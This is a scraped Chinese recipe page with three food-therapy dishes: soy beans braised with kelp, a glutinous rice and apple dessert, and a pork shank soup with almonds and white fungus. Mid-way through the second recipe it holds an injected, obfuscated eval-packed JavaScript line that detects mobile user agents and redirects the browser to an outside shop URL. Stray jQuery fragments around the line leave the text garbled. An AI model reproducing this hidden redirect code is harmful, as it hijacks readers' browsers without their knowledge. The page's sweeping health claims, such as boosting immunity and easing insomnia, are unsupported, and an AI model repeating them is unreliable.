黄豆香卤海带——


    ## 黄豆香卤海带调养药膳


    黄豆香卤海带是一道营养丰富、口感鲜美的调养药膳。它以黄豆和海带为主要食材，搭配多种香料和调味料，经过卤制而成。这道药膳具有清热解毒、消肿利尿、健脾益胃等功效，适合大多数人食用。


    ### 一、材料


    1. **主料**：黄豆 100 克，海带 200 克。


    2. **辅料**：八角 2 个，桂皮 1 块，香叶 2 片，花椒 10 粒，干辣椒 2 个，生姜 1 块，大葱 1 段，大蒜 3 瓣，冰糖 10 克，生抽 20 毫升，老抽 10 毫升，料酒 10 毫升，盐 5 克，鸡精 3 克，食用油 20 毫升。


    ### 二、做法


    1. **准备工作**


    - 将黄豆提前用清水浸泡 4 小时以上，直至黄豆完全泡发。


    - 将海带用清水浸泡 30 分钟以上，直至海带完全泡软。


    - 将泡发好的黄豆和泡软的海带分别洗净，沥干水分备用。


    - 将生姜、大葱、大蒜分别洗净，切成姜片、葱段、蒜末备用。


    - 将八角、桂皮、香叶、花椒、干辣椒分别洗净，备用。


    2. **制作过程**


    - 热锅凉油，放入姜片、葱段、蒜末、八角、桂皮、香叶、花椒、干辣椒煸炒出香味。


    - 放入泡发好的黄豆和泡软的海带，翻炒均匀。


    - 加入生抽、老抽、料酒、冰糖、盐、鸡精，翻炒均匀。


    - 加入适量清水，没过黄豆和海带，大火烧开后转小火卤制 40 分钟后 1 小时，直至黄豆和海带熟透入味。


    - 关火，让黄豆和海带在卤汁中浸泡 30 分钟以上，以便更好地吸收卤汁的味道。


    - 将卤制好的黄豆香卤海带捞出，沥干水分，装盘即可。


    ### 三、注意事项


    1. 黄豆和海带的浸泡时间要足够长，以便更好地泡发和泡软。


    2. 卤制黄豆和海带的时间要足够长，以便更好地熟透入味。


    3. 卤制好的黄豆香卤海带要在卤汁中浸泡一段时间，以便更好地吸收卤汁的味道。


    糯米苹果盏——


    糯米苹果盏调养药膳


    糯米苹果盏是一道美味可口的调养药膳，它结合了糯米的软糯和苹果的清甜，不仅口感丰富，还具有一定的营养价值和调养功效。下面我将为大家介绍糯米苹果盏的制作方法和调养功效。


    一、制作方法


    材料：糯米 100 克、苹果 2 个、红枣 5 颗、枸杞 10 颗、冰糖适量。


    步骤：


    1. 将糯米洗净，浸泡 2 小时以上。


    2. 苹果洗净，去皮去核，切成小块。


    3. 将浸泡好的糯米放入锅中，加入适量清水，煮至糯米变软。


    4. 加入苹果块、红枣、枸杞和冰糖，继续煮至冰糖融化。


    5. 将煮好的糯米苹果盏盛出，即可享用。


    二、调养功效


    1. 健脾益胃


    糯米具有健脾益胃的功效，能够增强脾胃的消化功能，促进食欲。苹果中含有丰富的膳食纤维，能够促进肠道蠕动，帮助消化。


    2. 补中益气


    糯米和苹果都具有补中益气的功效，能够增强身体的免疫力，提高身体的抵抗力。


    3. 养血安神


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13447607|141541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    红枣和枸杞都具有养血安神的功效，能够缓解失眠、多梦等症状，提高睡眠质量。


    4. 美容养颜


    苹果中含有丰富的维生素 C 和抗氧化物质，能够抗氧化，延缓衰老，美容养颜。


    三、注意事项


    1. 糯米不易消化，不宜过量食用，以免引起消化不良。


    2. 苹果中含有果酸，不宜空腹食用，以免引起胃部不适。


    3. 冰糖的用量可以根据个人口味进行调整。


    总之，糯米苹果盏是一道美味可口的调养药膳，它具有健脾益胃、补中益气、养血安神、美容养颜等功效。大家可以根据自己的口味和需求，适量食用糯米苹果盏，以达到调养身体的目的。


    南北杏银耳煲猪腱——


    # 南北杏银耳煲猪腱调养药膳


    南北杏银耳煲猪腱是一道具有调养身体功效的药膳，它融合了南北杏、银耳和猪腱的营养成分，不仅味道鲜美，而且对身体有多种益处。


    ## 一、材料准备


    1. **猪腱肉**：500 克，洗净切块备用。


    2. **南北杏**：各 10 克，洗净备用。


    3. **银耳**：1 朵，泡发后撕成小朵备用。


    4. **红枣**：5 颗，去核备用。


    5. **生姜**：3 片，去皮切片备用。


    6. **盐**：适量。


    ## 二、制作步骤


    1. 将猪腱肉放入开水中焯水，捞出洗净备用。


    2. 将南北杏、银耳、红枣


    、生姜放入炖盅中，加入适量清水。


    小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！